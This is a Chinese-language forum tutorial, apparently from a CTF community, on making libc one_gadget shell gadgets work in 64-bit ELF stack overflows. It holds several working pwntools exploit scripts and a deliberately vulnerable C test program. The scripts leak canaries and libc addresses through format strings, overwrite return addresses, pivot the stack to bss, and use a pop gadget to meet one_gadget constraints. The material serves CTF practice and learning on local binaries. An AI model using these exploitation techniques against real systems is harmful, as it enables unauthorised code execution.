# 64 位 elf 的 one_gadget 通杀思路

pic4xiu / 2019-10-25 09:38:36 / 浏览数 4285 安全技术 二进制安全 顶(0) 踩(0)

## 问题来源

在有 one_gadget 之前,我们一般都是通过常规 rop 的方式 getshell .有了它之后,知道 libc 偏移就能够通过它的地址一步 getshell .详细介绍参见此处,我们就可以把更多精力花在利用漏洞上边.但是在做栈溢出时经常遇到 one_gadget 的佛系 bug ,究其原因还是 constraints 的锅,每次执行都是一次execve("/bin/sh",?????, environ)未知考验,这时候就有必要去根据限制条件来布置我们的环境了

注:以下程序均为 64 位.关于 32 位程序的可以参见上述文章自行研究

## 溢出字节数较大

突破栈限制条件

以西湖论剑的 story 举例,一个简单的格式化字符串和栈溢出漏洞(就不具体分析漏洞了),通过前者可以泄漏 canary 和 libc 基址,后者就是一个溢出劫持 rop 了.似乎已经很简单了,能不能再简单??这时候 one_gedget 就有用了,直接把 ret 改成 one_gedget 即可,我们来看一下这个 exp

```
from pwn import *
p= process('story')
libc = ELF('./libc-2.23.so')
p.sendline("%15$p%25$p")
# leak canary and libc_addr
p.recvuntil("0x")
canary = int(p.recvuntil("0x")[:-2],16)
addr_offset = int(p.recvuntil('\n')[:-1],16)
libc_base = addr_offset - libc.symbols['__libc_start_main']-240
one = libc_base+0x4526a
p.recvuntil('story')
p.sendline('1024')
# story_len = 1024
p.recvuntil('story')
payload = '\x00'*0x88+p64(canary)+p64(0)+p64(one)
# buf_len = 0x88
p.sendline(payload)
p.interactive()
```

其中one = libc_base+0x4526a的0x4526a就是用 one_gadget 找到的

```
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
 rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
 [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
 [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
 [rsp+0x70] == NULL
```

但是最终还是因为条件的限制后三个都成功不了(很真实)

```
[*] Switching to interactive mode
:
[*] Process './story' stopped with exit code 127 (pid 17986)
1■I■■^H\x89■H■■■PTI■■■
                    @: 0: Can't open ■
[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive
```

这时候就要想一下我们还能控制什么,事实上这题很巧,能利用的缓冲区很大

```
if ( v1 > 128 )
   v1 = 1024LL;
```

所以可以搞点骚操作,比如可以直接向最后的 buf 多加点东西,如填入 `payload = 0x88*'\x00'+p64(canary)+p64(0)+p64(one)+p64(0)*100` ,加了`p64(0)*100`,毕竟不用白不用不是.

这绝对满足上述的栈限制的所有条件,基本上是一种栈条件通杀的方式.当然这种方式很局限,比如说控制不到栈,或者限制条件是寄存器,这时候就要看下边的技巧了

## 利用 leave

结合 bss 端精准打击

我们自己写一段程序进行测试

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char x[500]={0};
int main(int argc, char** argv) {
   char buf[128];
   char a[100];
   scanf("%s",a);
   printf(a);
   printf("done\n");
   read(0, buf, 256);
   printf("ok\n");
   read(0, x, 20);
   write(1, "Hello, World\n", 13);
}
```

这个是比较符合我的想法的,当然可以用上边的方法,因为这个程序把 read 的字节设置的很大(这样便于一个程序贯穿全篇,不用反复修改).用 gcc 编译(`gcc -fno-stack-protector -o test test.c`),我在这里把 canary
关了,大家可以自行取舍.一个格式化字符串用于泄漏,一个溢出用于控制程序流程.但是这个在本机打的话 one_gadget 不经过修改也能用, exp1 如下

```
from pwn import *
p= process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
p.sendline("%39$p")
p.recvuntil("0x")

addr = int(p.recvuntil("done\n")[:-5],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf1147
pay = 136*'\x00'+p64(one)
p.send(pay)
p.recvuntil('ok\n')
p.sendline('123')
p.recv()
p.interactive()
```

其中`__libc_start_main+240`偏移是 39 .但我觉得还是不够优雅,能不能不抱侥幸心理,必定成功?? exp2 如下

```
from pwn import *
p= process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
p.sendline("%39$p")
p.recvuntil("0x")

addr = int(p.recvuntil("done\n")[:-5],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf1147

pay = (136-8)*'\x00'+p64(0x601080)+p64(0x400702)
```

```
p.send(pay)
p.recvuntil('ok\n')
payload = p64(one)*2
p.sendline(payload)
p.recv()
p.interactive()
```

可以看到我在 pay 构造上把之前一直被我们忽视的 ebp 改成了 bss 端,然后的`p64(0x400702)`是 leave 地址

```
.text:0000000000400702                leave
.text:0000000000400703                retn
```

大家应该了然了,这就是一个常规的栈迁移,迁移到 bss 后我们有 20 个字节可控,已经够了,很暴力填入两个 one_gadget 就完事

当然大家应该都知道,这个的关键就在于程序到底开没开 PIE 了,没开一切好说,开了就只能泄漏(泄漏 bss 地址可还行,我没见过),没有泄漏就得另某出路了

## rax == null

回到一开始的问题,我们的限制条件只有两种,一个是 rax 一个就是栈,那控制 rax 能好用吗??事实上直接去控制 rax
的值是很难做到的,在看了很多程序的汇编后我发现真正用 rax 的虽然很多很多,但都用不了,不是离 ret 太远就是只能控制 eax 写为 0
,难以做到两全其美.这时候我们换个思路,根据返回值下手,就比如之前说的自己写的这个程序,在

```
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
 rax == NULL
```

就是好用的, exp3 如下

```
from pwn import *
p= process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
p.sendline("%39$p")
p.recvuntil("0x")

addr = int(p.recvuntil("done\n")[:-5],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0x45216
pay = 136*'\x00'+p64(one)
p.send(pay)
p.recvuntil('ok\n')
p.sendline('123')
p.recv()
p.interactive()
```

原因就是 write 返回值可控,之后程序很舒服的做了一个

```
.text:00000000004006F8                call    _write
.text:00000000004006FD                mov     eax, 0
.text:0000000000400702                leave
.text:0000000000400703                retn
```

操作,让我们获得了 shell ,但是其他的程序就不是如此了.例如之前所说的 story ,这个程序关于 rax 最后的调用关系如下

```
.text:0000000000400A21                lea     rax, [rbp+s]
```

把 `rbp+s` 给了 rax ,之后就没有对其的修改了,这 one_gadget 能用就太假了.

事实上别的 libc 版本还有别的寄存器限制,如 rcx 等等.所以只能想一些方法争取主动的变换寄存器的值,确实难度很大.

## 万能 gadget

> 最强武器

既然控制寄存器很恶心那就把重点放在栈上.

不是还有一个万能 gadget 吗,尝试进行 pop 行不行(应该是最舒服的思路)

```
.text:0000000000400766                add     rsp, 8
.text:000000000040076A                pop     rbx
```

```
.text:000000000040076B                pop     rbp
.text:000000000040076C                pop     r12
.text:000000000040076E                pop     r13
.text:0000000000400770                pop     r14
.text:0000000000400772                pop     r15
.text:0000000000400774                retn
```

exp4 如下

```
from pwn import *
p= process('./test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
p.sendline("%39$p")
p.recvuntil("0x")

addr = int(p.recvuntil("done\n")[:-5],16)
libc_base = addr - libc.symbols['__libc_start_main']-0xf0
info("libc:0x%x",libc_base)
one = libc_base+0xf02a4
pay = 136*'\x00'+p64(0x400766)+p64(0)*7+p64(one)
p.send(pay)
p.recvuntil('ok\n')
p.sendline('123')
p.recv()
p.interactive()
```

可以看到,调整起来很灵活,不用必须 pop 7 个,溢出字节数目可观的话基本都能实现 getshell ,毕竟`p64(0)*7`确实很占宝贵的字节数目,导致这个版本 libc 还没有第一种效率高,一种走弯路的感觉

至少我能想到的思路就这些,欢迎大家讨论交流

## 总结

这篇主要是栈的研究,而堆也有一些很骚的思路,比如说:改 malloc_hook 为 one_gadget 不好用是常有的事,这时候可以利用 realloc_hook 去微微(因为 pop push 数量受限)调整栈情况,具体可参阅师傅帖子, tql

等等

这篇文章旨在开拓大家的思路,不被条件限制住.毕竟真的不能用 one_gadget 的时候不还有 rop 保底的吗,2333

64 位程序 one_gadget 通杀思路.zip (0.007 MB) 下载附件



上一篇：数字经济CTF-COW区块链题目详解 下一篇：XSS绕过某锁

1. 0 条回复
   - 动动手指，沙发就是你的了！